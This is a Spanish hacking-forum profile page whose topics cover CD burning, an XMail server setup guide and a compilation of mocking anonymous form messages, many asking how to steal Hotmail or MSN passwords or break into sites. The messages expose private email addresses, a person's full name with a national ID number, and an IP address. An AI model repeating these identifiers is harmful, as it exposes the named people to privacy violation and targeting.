Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - el-brujo

#316
Software / Quemar ISO'S
6 Octubre 2003, 15:05 PM
Hola,

Bueno he estado leyendo y creo que lo tengo claro, pero aún así prefiero preguntar para no meter la pata :P

Mis preguntas son de confirmación :) (espero).

Uso el Nero 5.5.x.x -->

Si utilizo para quemar un ISO el wizard (el asistente) y le pongo "Burn Image" --> tan sólo me pregunta a que velocidad quiero grabar, en cambio si lo hago con el "New Compilation" (sin el asistente) y le digo "Burn Image" y me deja elegir estas opciones:

Finalize CD --> tiene que estar marcada (por lo que he leído una imagen iso o una copia de un cd, debe ser un cd cerrado y no multisesión claro ¿voy bien?

Write Method --> Disc-at-once  (creo que es este método, igual que sería para grabar un cd y en este caso una ISO). Track-at-once seria para hacer cd's multisesión ¿voy bien?

¿Y disc-at-once/96, para cuándo lo hago servir?

Imagino que si no pongo finalizar cd y lo grabo en track-at-once el cd' es para tirar y además no sería bootable ni nada :P
#317
Software / ¿Regrabadoras a 32x, CD-RW a 12x?
3 Octubre 2003, 07:59 AM
Hola,

Es una duda tonta y una curiosidad más bien.... pero mi flamante regrabadora tiene velocidad de regrabar a 32x pero no venden cd's regrabables (RW) a más de 12x....

¿Esto es normal? ¿Para cuándo?

Imagino que es una limitación física de los propios cd's......
#318
v.0.5

www.xmailserver.org es un completo y configurable servidor de correo para Linux y Windows.

XMail Version  1.21

Linux/FreeBSD/OpenBSD/Solaris
Linux RPM
Linux SRPM
NT/2k Sources
NT/2k Binaries

Descargar de http://www.xmailserver.org/

Documentación: http://www.xmailserver.org/Readme.html

Configuración práctica (basada en un ejemplo).

wget http://www.xmailserver.org/xmail-1.21.tar.gz
tar xvzf xmail-1.21.tar.gz
cd xmail-1.21
make -f Makefile.lnx

También podemos instalar el RPM
http://www.xmailserver.org/xmail-1.21-1.i386.rpm

El Xmailserver crea un sustituto del sendmail, muy útil, si por ejemplo usamos o usabamos el sendmail para la función mail() del php. No hace falta que toquemos nada, la misma ruta /usr/sbin/sendmail servirá (pero en vez del sendmail lo enviará con el XMail)

La instalación crea un script de inicio para poder arrancar el servidor de correo y parlarlo.

En /var/MailRoot se nos ha instalado XmailServer y aquí tenemos todos los archivos de configuración que necesitamos.

Recuerda que la documentación oficial se encuentra en:

Citar/var/MailRoot/docs

Archivo principal de configuración:

Citar/var/MailRoot/server.tab

Recuerda que los espacios son usando el tabulador.

#
# Example configuration file.
# Note : remember to use _REAL_ TABs and " to format this file
#
"RootDomain"   "elhacker.info"
"SmtpServerDomain"   "elhacker.info"
"POP3Domain"   "elhacker.info"
"HeloDomain"   "elhacker.info"
#"PostMaster"   "postmaster@elhacker.info"
"ErrorsAdmin"   "admin@elhacker.info"
#"TempErrorsAdmin"   "send-failures@xmailserver.test"
#"DefaultSMTPGateways"   "192.168.1.2,192.168.1.15"
"RemoveSpoolErrors"   "0"
#"DisableEmitAuthUser"   "1"
#"NotifyMsgLinesExtra"   "8"
#"NotifySendLogToSender"   "0"
#"NotifyTryPattern"   "1"
"MaxMTAOps"   "16"
"ReceivedHdrType"   "0"
"FetchHdrTags"   "+X-Deliver-To,+Received,To,Cc"
#"SmtpMsgIPBanSpammers"   "550 Denied due inclusion of your IP in our spam lists"
#"SmtpMsgIPBanSpamAddress"   "550 Denied due inclusion of your email address in our spam lists"
#"SmtpMsgIPBanMaps"   "550 Denied due inclusion of your IP in the following map"
#"CustomSMTPMessage"   "Please open http://www.xmailserver.test/smtp_errors.html to get more informations about this error"
#"MaxMessageSize"   "20000"
#EnableAuthSMTP-POP3"   "0"
#"Pop3SyncErrorAccount"   "psync-errors@xmailserver.test"
"AllowNullSender"   "1"
#"AllowSmtpVRFY"   "1"
#"AllowSmtpETRN"   "1"
#"SmtpMinDiskSpace"   "100000"
#"SmtpMinVirtMemSpace"   "64000"
#"Pop3MinVirtMemSpace"   "64000"
#"CustMapsList"   "list.dsbl.org.:1,blackholes.mail-abuse.org.:1,dialups.mail-abuse.org.:0"
#"SMTP-RDNSCheck"   "1"
#"CheckMailerDomain"   "1"
#"SmartDNSHost"   "dns.home.bogus.net:tcp,192.168.1.1:udp"
#"DynDnsSetup"   "www.dns4ever.com,80,/sys/u.cgi?d=MYDOMAIN&u=MYUSERNAME&p=MYPASSWORD&i=%s"
#"DynDnsSetup"   "members.dyndns.org,80,/nic/dyndns?action=edit&started=1&hostname=YES&host_id=yourhost.ourdomain.ext&myip=%s&wildcard=OFF&mx=mail.exchanger.ext&backmx=NO,foouser,foopasswd"
#"SmtpConfig"   "mail-auth"
#"SmtpConfig-192.168.0.1"   "mail-auth"
"DefaultSmtpPerms"   "MRVZ"

Ahora le decimos al xmail que el dominio elhacker.info lo llevará él, almenos el correo (las dns y los registros MX han de apuntar a esta máquina (ip)).

Editamos el archivo domains.tab

Citar"elhacker.info"


Crea las carpetas en "domains" donde se guardaran los e-mails, una carpeta por dominio que tengas.

Citar/var/MailRoot/domains

Citar/var/MailRoot/domains/elhacker.info

y dentro de cada carpeta el buzón de cada usuario:

Citar/var/MailRoot/domains/elhacker.info/alex

Aquí podemos definir el tamaño del buzón con el archivo user.tab:

Citar/var/MailRoot/domains/elhacker.info/alex/user.tab

Citar"
RealName"   "Alex"
"HomePage"   "http://www.elhacker.net"
"MaxMBSize"   "30000"
"MaxMessageSize"   "10000"
"SmtpPerms"   "MRV"

Defisinos el tamaño total del buzón de correo (3 MB) y el máximo mensaje a enviar (1 MB) y los permisos smtp, en este caso relay (para poder enviar e-mails).

También se creará un fichero (automáticamente)  llamado .ipconn cuando alguien se conecte a este buzón y quedará registrada la ip desde donde se conecta.

Ahora necesitamos crear el directorio maildir con la siguiente estrucutura:

/var/MailRoot/domains/elhacker.info/alex/Maildir

/var/MailRoot/domains/elhacker.info/alex/Maildir/cur
/var/MailRoot/domains/elhacker.info/alex/Maildir/tmp
/var/MailRoot/domains/elhacker.info/alex/Maildir/new --> donde se guardarán los e-mails

Podemos crear alias de correo en el archivo aliases.tab, de esta manera un e-mail que llegue a "pepito@dominio.com" llegará a la cuenta que le digamos:

Citar"elhacker.info"   "webmaster"   "alex"
"elhacker.info"   "alexb"   "alex"
"elhacker.info"   "administrador"   "alex"

En el ejemplo, todos los e-mails que lleguen a  webmaster@elhacker.info, alexb@elhacker.info y admin@elhacker.info serán enviados a alex@elhacker.info

Otra manera es que todo lo que se envie a @elhacker.info nos llege a nuestro correo (Nombre técnico: "catch-al"l)

Citar"elhacker.info"   "*"   "alex"

De esta manera lo_que_sea@elhacker.info nos llegará a alex@elhacker.info

Recuerda siempre "nombre" apretar tabulador "valor" etc. Siempre el espacio es TABULADOR

En mailusers.tab definimos las cuentas de correo pop3 que queramos:


Citar"elhacker.info"   "alex"   "pass_encritpado"   "1"   "alex"   "U"

"dominio"       "usuario(login)" "pass_encriptado" "numero de cuentas pop" "otra_vez_login" "U"

Para cifrar los password necesitamos un binario (ejecutable) que lleva el Xmail en la carpeta

/var/MailRoot/bin

El binario se llama XMCrypt y su funcionamiento es muy sencillo:

./XMCrypt pass_a_encriptar
gh057utyjfhjas

Nos devuelve un valor que es el password cifrado.

Para enviar e-mails es necesario autentificarse, aunque el Xmail también acepta relay, es decir, enviar e-mails sin validarse.

Recuerda que para enviar y recibir e-mails debes autenticarte usando:

Login: nombre
Pass: password

Podemos especificar las ips o dominios que pueden hacerlo en el archivo smtprelay.tab

Citar"127.0.0.1"   "255.255.255.255"
"65.114.38.150"   "255.255.255.255"

Para evitar el correo basura, podemos "banear" a los spamers de dos maneras:

1) Por ip

Con el archivo
Citarspammers.tab

"*@correobasura.comt"
"*-admin@dominio.com"

Los e-mails que acaben en "-admin@dominio.com" serán rechazados.

2)Por dirección e-mail

Citarspam-address.tab

"215.181.173.0"  "255.255.255.0"

la ip y la máscara, por lo tanto todo el rango 215.181.173.x está baneado.


En el fichero

Citar/var/MailRoot/ctrl.ipmap.tab
podemos añadir aquellas ip's que puede administrar nuestro servidor de correo.

Si queremos que nadie, añadimos esta linea:

"0.0.0.0"   "0.0.0.0"   "DENY"   1

XMail también puede hacer de servidor finger. Para denegar el uso de finger en  nuestro ordenador, editar el archivo:
Citar/var/MailRoot/finger.ipmap.tab

"0.0.0.0"   "0.0.0.0"   "DENY"   1


El fichero
Citar/var/MailRoot/ctrlaccounts.tab
debemos añadir los usuarios administradores del XMailServer. Lo podemos dejar en blanco sino queremos usar esta opción.


En los archivos
Citarsmtp.ipmap.tab
y
Citarpop3.ipmap.tab
podemos especificar si queremos que unas determinadas ips o grupos de ips puedan autenticarse o no. Es decir, si ponemos esto:

"0.0.0.0"   "0.0.0.0"   "DENY"   1

en smtp.ipmap.tab

Nadie podrá enviar e-mails, ni autentificandose ni nada, porque ya no le dará ni acceso. Y lo mismo para el archivo pop3.ipmap.tab.

Por lo tanto lo mejor es poner:

"0.0.0.0"   "0.0.0.0"   "ALLOW"   1

y denegar aquellas que no queremos que ni lo intenten:

"ip_tal"   "255.255.255.255"   "DENY"   2


Falta por explicar:

- Listas de correo

Más info:
http://www.escomposlinux.org/lfs-es/recetas/xmail.html
#319
http://www.elistas.net/lista/elhackernet

Se ha re-abierto la lista de correo de elhacker.net, gracias a la colaboración de algunos miembros del foro:

     -------------------------------------------
   | http://www.elhacker.net/email.htm |
     -------------------------------------------

Se tratarán los siguientes temas (un e-mail por semana máximo)

- Noticias de seguridad informática
- Noticias "underground"
- Noticias de la web
- Nuevos e-zines publicados
- Vulnerabilidades importantes, consejos, etc.
- Temas interesantes en el foro
- Eventos, conferencias seguridad informática


Puedes darte de alta en:
http://www.elistas.net/lista/elhackernet
#320
Voy a poner en este mensaje todos aquellos mensajes recibidos a través de formuarios que despiertan una leve sonrisa en mi persona... ya veréis enseguida el motivo.

Son mensajes enviados por e-mail o a través del formulario de la web, o el formulario de fallos de la web.

Todos son rigurosamente ciertos, aunque cueste creerlo.

Los pongo porque son mensajes anónimos, escritos por "alguien" y sin ánimo de ofender o reírse de nadie.

CitarComentarios: Me gustaría que me contactaran, quiero ser empadrinado!!!

CitarComentarios: me podrian mandar informacion de linux

CitarComentarios: tus programas tienen algun costo responde po favor

CitarComentarios: hola 
espero que esten bien uno de mis grandes sueños son poder llegar a ser hacker pero para eso tengo que estudiar mucho

quisiera saber si me pueden mandar al correo el programa de linuxs devian porfavor
gracias

CitarComentarios: deverian  tener programas para hackera

CitarComentarios: nesecito el programa para develar password de hotmail en caracter de urgencia y como usarlo.
gracias juan manuel.
esta muy buena la web

CitarComentarios: 1.-Existe prodigy-plus
2.-si existe es posible que aumente la velocidad de transferencia de 56 a 120 kbs, con un modem de 56kps
La pregunta es por en una pagina hacker ponen el comentario en la pagina, piden que se mande un mail para dar de alta en el servidor de telmex, dan una serie de codigos o tipo de lenguaje para que el servidor lo pueda dar de alta, en el cual piden cuenta y password de acceso a internet.
realmente es un farsa para poder conseguir claves de internet

CitarComentarios: me gusta mucho esta pagina pero una vez baje un programa y me  meti virus y si no es por el antivirs que tengo me friegan jaja
okas

CitarComentarios: Se poco de pc , si me decis vosotros , espero mejorar mis conocimientos,y en control numerico tambien.

CitarComentarios: Estimada gente........ando tratando de averiguar si hay alguna forma de cambiar el numero de serie de un disco rigido......

ya que intento entrar  en una red privada virtual .... lo cual ya he conseguido , pero al querer ejecutar aplicaciones dentro de la misma he detectado que verifican si mi disco rigido esta autorizado para el ingreso al sistema...... he conseguido un par de  numeros de serie habilitados...je, pero no se como cambiarle y ponerle dichos numeros  a mi disco......desde ya muchas gracias.....

ah , como dato utilizan el mssqlserver para la conexion/enlace pc y la red virtual del gobierno.....


saludos & gracias

CitarComentarios: yo recomiendo que hagan una sesion donde aparescan los email de las personas

CitarComentarios: Te he puesto en afiliados. Puedes hacer tú lo mismo.

CitarComentarios: hey me gustaria ser inteligente como usted 

gracias...

CitarComentarios: No me hackeeis ni el correo ni la pagina, porfavor.

CitarComentarios: pongance en contacto con migo

CitarComentarios: QUIERO CONVERTIRME EN UN VERDADERO HACKER Y QUISIERA UN TUTOR PARA PODER LOGRARLO A LA OERFECCION

CitarComentarios: Hola chico$ $u$ manual3$ m3 3$tan $irvi3ndo ba$tant3 chauuuuuuu.

CitarComentarios: ¿esta pagina hace a las personas hackers?

CitarComentarios: Pass hotmail que funcione

CitarComentarios: Oigan ponfgan trucos para hackear hotmail, me gustaria saber la contraseña de tatorelguapo@hotmail.com

CitarComentarios: Si Porfavor Unas calaberitas diseños 3D xD si le hacen falta. Varios Link's de paginas smilares

CitarComentarios: como le puedo hacer para crear administrador en latinchat y tambien  escribir letras grandes cerrar salas  y expulsar usuarios por que yo veo que algunos si lo hacen ya que baje los archivos de latincharter pero no les entiendo nada quisiera que me esnseñaras unos trucos para eso si tu me dices como yo me quito el sombrero gracias


CitarComentarios: como consigo una contraseña de hotmail?
Es muy importante!!!

CitarComentarios: ¿Podrian escribir un tutorial totalmente explicito para hackear webs?; esto es modificar la pagina que dice I LOVE BILL GATES a I HATE BILL GATES con todo explicito; abre IExplorer, etc.

CitarComentarios: ¿como puedo conseguir manuales de anarquia?

CitarComentarios: por q no ponen a putas para chatear

CitarComentarios: MI ESTIMADOS AMIGOS QUISIERA CONOCER MAS DE LOS HACKER QUE SON CUAL ES EL OBJETIVO PRINCIPAL Y PREGUNTARLE SI FUERON USTEDES QUE ME ENVIARON UN EMAIL QUE CREO SE SE TITULABA   "EL HACKER.PIF " DONDE EN LA INTRODUCCION DECIA QUE UN HACKER NO SE HACIA EN 24 O 48 HORAS CONSULTANDO A UN AMIGO DEARGENTINA QUE ES UN HACKER DECE QUE ESE EMAIL  TERMINADO EN  .PIF ES UN VIRUS QUE ME ENVIARON PERO QUE NO ERA  DE PARTE DE LOS HACKER QUISIERA SABER SI LOS ARCHIVOS TERMINADOS EN .PIF SON VIRUS.

CitarComentarios = eeee  SSi  como se hace para entrar a una casilla de correo que no es mia


CitarComentarios: como crear virus y antivirus.


CitarComentarios: Nesecitaria saber como hago para configurar un exploit que tengo yo... (es muy bueno) no se como configurarlo. Tengo otros que si se configurarlos pero no son muy efectivos.. por favor si son tan amables de responder me harian un favor. Desde ya muchas gracias.

CitarComentarios: esta bien la pagina el unico problema es qwe hace falta informacion deseada, por ejemplo : como entrar por medio del mesn al mandar un archivo al ordenador destinatario , opciones para robar el password de otro usuario, tambien hacen falta progs qwe sirvan para hackear otro ordenador etc etc ...
io se qwe pido mucho io solia tener una pagina llena de programas para hackear y me la tumbaron pero estaria bien qwe pusieran una pagina con links a otros sitios con esos programas o esa informacion ya qwe en el tema de investigacion sobre como hackear es muy dificil encontrar una pagina qwe contenga toda la informacion qwe se desea...


CitarComentarios: pongan a dispocicion de la gente el bulldog

CitarComentarios: ¿ como puedo extraer claves de correos o scomo puedo ver sus correos ?

CitarComentarios: ... Vendes tu dominio ... ?? si es así dime el precio :-)

CitarComentarios: QUIERO CRITICAR A LOS PENDEJOS DE ***** ESOS QUE POR SACAR UN PASS DE ***** SE CREEN HACKERS, SER UN HACKER NO ES SOLO PROGRAMAR UN TROYANO, UN VIRUS, O SACAR UN PASS, CUANDO ESTOS PENDEJOS DEL ORTO SE ENFRENTAN A VERDADEROS DESAFIOS LO UNICO QUE HACEN ES DECIR QUE ES IMPOSIBLE, EN EL FORO DE TECTIMES TIRE UN PROBLEMA A UNOS SUPUESTOS HACKERS PARA CREAR UNA TARJETA TELEFONICA TRUCHA, LOS ENFERMOS QUE RESPONDIERON NO TENIAN LA MENOR IDEA, NI SIQUIERA SABIAN LO QUE ERA UN PIC. EN RESUMEN YO NO SOY UN HACKER Y USTEDES PENDEJOS DE ***** TAMPOCO

CitarComentarios: ¿ como puedo extraer claves de correos o scomo puedo ver sus correos ?

CitarComentarios: jaja mira a la mejor me vas a decir copion o lammer pero creme que tu web aunque aparenta ser muy segura en el aspecto de que no se puede copiar porfavor te invito a que entres a mi web para que veas lo que te e sacado jajaja ....gracias alex jajaja ... yo no me digo hacker pero algo si se como entrar a sistemas y a los servidores de web`s yo me e dedicado a copiar de distintas paginas web y mas cuando dicen que son las mas seguras jaja y pues tu no dises pero tu web aparenta serlo peroo jaja claro que no lo es e visto paginas mas chingonas y claro que mi web no es la mejor pero ay le llega a lo tuyo jaja esta chido tu reloj ese que sige al raton y cres que no lo iva a copiar jaja bueno ay luego lo veras en mi web jaja y una cosas de webmaster a webmaster yaaaa ponle otro disello a tu web porfavor que abure yaaa
jajaja
es enserio lo digo cmo amigo :-> jaja no no es cierto jaja y una cosa mas tu te dises hacker jaja no me agas reir no sabes nada de programacion ases pudas pendejaditas y un hacker ensella no oculta sus secretos y aparte no sabes ni como entar a tu propio ordenador mm que mal pero bueno nisiquiera deberia tener ese nombre tu web no sabes ni lo que es pero bueno que mas da por eso el mundo esta como esta por pendejos cmo tu ..... bete a la chingada.... " disque hacker" jajajaja

CitarComentarios: ESTE SITE ESTA BIEN CHAFA, TODO ES PIRATEADO DE OTRAS WEBS, QUE MAL PEDO,

CitarDescripción: cuando bajo descifrador de cuentas, o algo asi, y cuando ya se termino de descargar, lo abro y me aparece un cartel winzip

CitarComentarios: si que nsois un poco capullitos con lo de entrar en mi orednador jejejejej y me gustaria que aclararais la zona para aprender a ser un hacker y cada dia saber mas

CitarComentarios: Mira, toda  mi vida quise ser hacker pero no dañino, quisiera saber de hackers y ser uno pero no de los que son malos sino del lado bueno
Me gustaria que si tu sabes me enseniaras y me entrenaras para ser uno grande ... siempre quisiera serlo pero siempre que nadie sepa quien soy ni nada de eso
TU DIRAS ,.... SABES MI MAIL Y TODO
SALUDOS Y GRACIAS

CitarComentarios: quiero aprender

CitarComentarios: Es una pagina muy buena pero cuidado con el office si microsoft se da cuenta esto acarrearia mucha desgracia

CitarComentarios: estuve buscando alguna sección donde pudiera exponer mi duda, mi pregunta es:
BaJe el troyano, sin embargo mi computadora me pide en k clase de programa deseo abrirlo, no tengo idea, ya me ah ocurrido varias veces con otro programas. por favor si pudieran contestar mi duda se los agradeceria de antemano...     Ojala hubiera una sección de preguntas  con susu respuestas.   

CitarComentarios: como pueden ver mi disco duro sin ser dectetados

CitarComentarios: donde encuentro manuales de hacker

CitarComentarios: quisiera saber si tendrian algun programa para bajar, con elq pueda hackear las claves de hotmail (de unos amigos) nada serio.
espero la respuesta, gracias.

CitarComentarios: quiero ser pirata de la web


CitarComentarios: quisiera que me ayudaras a cambiar las notas de mi universidad la dirección de la universidad en que yo estudio es  www.ug.edu.ec  das click en facultades de administracion  luego escoges la carrera de  ingenieria en sistemas administrativos computarizados  luego ve si puedes entrar al servidor si puedes hacer eso  me envias un correo que si lo pudiste hacer para  despues ingrese mi numero de cedula  que es 0923590038  y mi nombre es Eddy Leonel Hungria Ordoñez  por favor te lo agradecere


CitarComentarios: Me gustaria aprender diversas situaciones
Atte
rafles

CitarComentarios: esta buenisima gracias solo me gustaria saber una cosa como elimino una pagina web en internet   agamelo saber  a mi correo ramses_868@hotmail.com

CitarComentarios: quiero ser el mejor hacker

CitarComentarios: si que los archivos no tengan virus

CitarComentarios: yo quiero saber como se usa el i p

CitarComentarios: porfavor me podriais ayudar con un temilla que me gustaria tenerlo
quisiera tener la base de datos de telefonica, ya se que es ilegal, pero me gustaria tenerla para practicar algun que otro programa.
gracias

CitarComentarios: quisiera ser mienbor del foro

CitarComentarios: oe pa sacar contraseñas de hotmail  como se hace si ya no hay exploits??

CitarComentarios: se puede en verdad saber el password de alguien de hotmail?

CitarComentarios: En donde consigo codigo de fuente abierta?

y después de hacer algo... con ese codigo por ejemplo a donde lo envio.


CitarComentarios: por fa si pueden mandenme a mi correo un descifra contraseñas de hotmail es urgente por favor chao los quiero

CitarComentarios: vaje un programa para descifrar contraseñas pero no lo se usar como le hago

CitarComentarios: COMO SE HARIA PARA PODER TODO LO QUE RESPECTA A FRANQUICIA EN DICHA EMPRESA ENVIAR LA RESPUESTA LO ANTES POSIBLE SI NO ES MUCHA MOLESTIA.

CitarComentarios: como bajar los archivos del maletin 
de yahoo.
ok
gracias


CitarComentarios: Hola me gustaria que me respondieran necesito un os pass para prodigy internet de mexico. Espero su respue


CitarComentarios: QUISIERA SABER COMO CLONAR UN CELULAR, PARA PODER ESCUCHAR SUS LLAMADAS Y ALGO DE INTRUSION

CitarComentarios: Solo que los codigos de fuente al descargarlos les paso el norton y me los marco infectados otraen un virus...yo solo quiero los codigos no tambien el virus

CitarComentarios: yo quisiera ser un berdaderohacker

CitarComentarios: En donde consigo codigo de fuente abierta?

y después de hacer algo... con ese codigo por ejemplo a donde lo envio.

Citar
Comentarios: Como me suscribo


CitarComentarios: necesito saber como sacar la
contraseña de un contacto en el msn

CitarComentarios: dime 
como te nace la idea de ser un hacker

CitarComentarios: QUIERO SABER COMO ES QUE NO POSEEN EL SYSTEMA 
SUSE LINIX 7.0 EN ESPAÑOL


CitarComentarios: HOLA AMIGOS DE ELHACHE
TENGO UNAS PREGUNTICAS POR HACER.
1. COMO HAGO PARA AVERIGUAR EL IP DE OTRO PC.
2. COMO HAGO PARA CAMBIAR LAS CLAVES DE CORREOS.

GRACIAS POR LA ATENCION PRESTADA.

CitarComentarios: que me enseñe mas sobre la informatica

CitarComentarios: No os creais tan sabios por que ahi es donde se encuentra la falta de conocimientos.

Citar
Comentarios: me encantaria hackear como los mejores

CitarComentarios: ME AN HACKEADO MI CORREO DE HOTMAIL Y O QUIERO HACKEAR PARA RECUPERARLO....

MUCHAS GRACIAS...
ME GUSTARIA QUE ME ENSEÑARAN CON ALGUN PROGRAMA.

CitarComentarios: quisiera ser un hacker como los de las peliculas, que tengo que hacer para lograrlo?

CitarComentarios: quisiera conocer o chatear con un verdadero hacker

CitarComentarios: emos creado nuestro centro hacker,q derechos tenemos,e colegas hackers

CitarComentarios: por fa si pueden mandenme a mi correo un descifra contraseñas de hotmail es urgente por favor chao los quiero

CitarComentarios: BUsco alguna forma de averiguar una clave de un correo hotmail especifico.

CitarComentarios: si desearia saber segun ustedes que requisitos nesecitaria para poder aprender a ser un hacker de calidad.

CitarDescripción: Vaya *****. Todo lo que me he bajado tiene virus.

CitarComentarios: Donde puedo encontrar un programa para hackear los paswords de HOtmail?

CitarComentarios: quisiera saber como se hackea el mail.....y que programa es mejor
gracias

CitarComentarios: dejen de dejar troyanos en algunas descargas......may

CitarComentarios: como puedo acceder al servidor de elhacker.net mediante ftp, donde puedo obtener un nombre  de usuario y password


CitarComentarios: me gustaria saber si podeis ayudarme, el problema es que he olvidado la contraseña del mesenger y no puedo acceder a la cuenta,en hotmail no me responden los e-mails. 
si conoceis algun truco para poder averiguarla os estaria muy agradecido.

un saludo                                                         oliver


CitarComentarios: Yo te escribia principalmente, para preguntarte si sabrias como saltrme la contraseña de una pagina web. Es decir, entrar sin ser mienmbro.

CitarComentarios: me gustaria saber como puedo hacer mis propios virus, y como me protejo de estos mismo, para no salir infectado yo mismo. 

CitarComentarios: La unica objeción de la pag. es que algunos programas de hack tienen virus

CitarComentarios: si queria sabercomo hago para mandar un exploit con su mail anonimos y que me llegue a mi la contraseña, y tambien como  hacer para mandar exploit y que no sea en forma de texto porque eso me pasa cuando pongo copiar y pegar y no figura real. gracias

CitarComentarios: quiero saber mas de hackers y todo eso 
me gustaria saber hacer un diskkete bomba ayudenme por favor 
su pagina es de las mejores que conozco feliciddes


Atención, éste es muy bueno, recibido el 31 de mayo de 2004

CitarDescripción: yo veo tu pc


Navegador: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)

IP : 200.106.127.219

CitarDescripción: es mentira

CitarDescripción: tengo gonorrea

CitarDescripción: naa

CitarDescripción: ddddddsssssdsddddddd

CitarDescripción: esta p**a pagina no funciona vete al diablo

CitarDescripción: Q por la seguridad media q e puesto en el microsoft internet explorer no me eja verlo

Citar
Descripción: bueno, en realidad no he visto ninguna fallo, pero me quiero vengar de uan persona que no me deja de molestar y roba mis contraseñas, alguien me puede ayudar=??? el mail del tipo es diegoarl@hotmail.com, porfavor, el tipo me hace la vida de cuadritos


ayuda, mandenme como puedo robar yo su contraseña, o al menos como usar los programas, perdón por molestarlos, esque neta ya estoy desesperada

CitarDescripción: ya le dije a alex, o lo arreglan, o bum.

CitarComentarios: me gustaria que pusieran algun lanzador de exploits

CitarComentarios: hola.a todos
solo escribo para decirles q quisiera q me ayuden a aprender como hackear contraseñas,asi ya no tender problemas en el momento q me olvide mi ccontraseña propia,okestare agradecido a uds.
espero q me ayuden cualquien cosa solo escribanme al correo
rock_vives@hotmail.com,
solo le spido como aprender ok
gracias muchas gracias,
cuidate mucho 
bye


CitarComentarios: soy un nuevo usuario y no se nada de esto pero quisiera  que me dijeran como puedo conseguir contraseñas para paginas de musica de partituras o xxx como consigo entrar en esas paginas de pago con que programa gracias

CitarComentarios: por que putas no botas esta tu p**a pagina

CitarComentarios: quiero que porvabor pongan krackeadores para windows  en general

CitarComentarios: Como hago para que me llenen un formulario y sacarle su contraseña

CitarComentarios: deberia de poner un vinculo en donde se pueda descargar virus

CitarComentarios: algunos programas no funcionan bien

CitarComentarios: me gustaria saber a averiguar la pass de los msn de gente q se conecta a mi pc pero no ser como se ace.

me podriais explicar como es y q me ace farta?¿

CitarComentarios: me gustaria mantener contacto directo con ustedes

CitarComentarios: yuiyui HIJOS DE p**a JAJAJAJAJA SOY ATOMIK

CitarComentarios: Quisiera todo sobre seguridad y como violarla porfavor gracias

CitarComentarios: coman estiercol

CitarComentarios: Mandenme todo sobre encontrar un password del msn, esque quiero la manera de poder descifrar contraseñas, en el msn. por fa si, se los suplico es muy importante. Gracias

CitarComentarios: me gustaria saber como puedo hackear paginas................ ya

CitarComentarios: me he bajado un keyloger,y esta infectado,

CitarComentarios: por que razon quicieron hacer esto??????
mi nombre es maya, escribanme

CitarComentarios: su pagina es exelente pero me pueden recomendar un virus para destruir un red de un ciber y de donde bajar el virus si es posible de su pagina la razon por lo que lo quiero destruir es  que ese tipo esta a favor de Microsoft y Bili Geyts

CitarComentarios: quiero que hagan famosa mi web de guitarra www.peruguitar.tk es de guitarra y metal gracias!

CitarComentarios: ¿¿como puedo descifrar una contraseña del messenger??
GRACIAS X SU RESPUESTA

CitarComentarios: ¿Cómo puedo conseguir la contraseña de otra persona?

CitarDescripción: por fa jaqueen el msn
hey_arnold27@hotmail.com

yo sienpre contare con ustedes
bye

CitarDescripción: al mover el cursor pierde fursa

CitarDescripción: Error en el tipo de navvegador y codigo que usa...

Juaz... vaya niñadas...


CitarDescripción: quiero q me digan como le cambio la contraseña a mi msn x q cuando lo abri no sabia nada d internet y se la puse muy corta entonces me gustria que me dijeran como cambiarsela x fa mi msn es aledgw_17@hotmail.com o si no ponen la respuesta en la pagina gracias...aled

Citar
Descripción: donde se buscan los Seriales????

CitarDescripción: No puedo mover el raton en xp home. Parece como si no lo detectara, apesar de reiciar o conectar de nuevo.

CitarDescripción: no puedo adivinar el ip del amigo con el que hablo

CitarDescripción: no puedo abrir los programas que bajo komo le hago para bajarlos bien


CitarDescripción: descargue el archivo msn descifra contraseñas y tenia un virus hijos de p**a!! menos mal k tngo el panda capullos ¬¬

CitarDescripción: Las descargas no se pueden bajar

CitarDescripción: yo bajo algunas cosas y cuando las boy a usar no hacen na

CitarDescripción: no

CitarDescripción: como hago para saber la respuesta de una pregunta secreta del messenger???

CitarDescripción: bajo un programa y no se instala

CitarDescripción: no sale nada


CitarDescripción: ningun fallo vale, solo quiero reportaros mi regreso....


AzRaEL [NuKE]

_daemon@mail.ru


CitarDescripción: HIJO DE p**a, NO SE PUEDE BAJAR EL PARCHE PARA EL MSN 7 EN ESPAÑOL....FORRO ME CANSE! HIJO DE p**a!!!


CitarDescripción: Julian es bueno solo con las mujeres y alos hombers les golpea.

CitarDescripción: NO NUINGUNO

CitarDescripción: YO ya hice mi servicio social y no me aparece que ya acredité.

CitarDescripción: hno puedo entrar a consultar mis calificaciones

CitarDescripción: casi todos los programas que bajo, no me andan

CitarDescripción: si les denuncian que pasa

CitarDescripción: si!!!!!!! tu p**a pagina esta llena de virus cabron!!!!!!!

CitarDescripción: todo

CitarDescripción: viaje y redescubrimineto modo de escribir estudiar y calcular,tribunal ordinario,de defensa escvuti concha en hospital psiquiàtrico,por causa tres  los andes.---------------

CitarDescripción: volcadura de memoria


CitarDescripción: jgvkjhjklgvu

CitarDescripción: no se han actualizado las listas de servicio social
fcat 1.c

CitarDescripción: sonido

CitarDescripción: he se pudiera llamar como un fallo,...


  Bueno lo que pasa es que yo se suponia que estaba haciendo mi servicio social con boletos, pero al entrar a la pagina me encuentro con que no tengo actividad.,.
entons. que pasaria............R


CitarDescripción: saben que no puedoi entrar alguien me puede ayudar a hackear correos si por favor mi correo es katia_1650@hotmail.com les voy a agradecer un monton espero su respuesta graciasssssss

Citar
Descripción: todos los archivos vienen con virus.....!!!!!

CitarDescripción: Como hackear un msn

CitarDescripción: virus en mi red

CitarDescripción: como hago para activar un troyano

CitarDescripción: todos los programas que baje no andubu ninguno son un fracaso ustedes y su pagina

CitarDescripción: no se

CitarDescripción: soy selecciona de nataciòn de la U de C y aparezco como si no acredito servicio social y el maestro me dijo que le me iba acreditar servicio social

CitarDescripción: 20046359 PEREZ ALVAREZ NANCY GUADALUPE MIEMBRO DE LA FEC
no es miembro de la fec

CitarDescripción: Necesito saber como puedo recuperar contraseña de mi internet


CitarDescripción: Con que programa se abren las aplicaciones????


CitarDescripción: Urgente imbeciles
no atraca ese del foro
no se puede suscribir un simple mortal como yo

CitarDescripción: He visto que la web esta muy mal hecha

CitarDescripción: no podemos hacker msn por que an puesto antivirus

CitarDescripción: enviarme buen hacker para msn

CitarDescripción: Quiero saber como y adonde va a parar la basura que cae de internet a mi pc

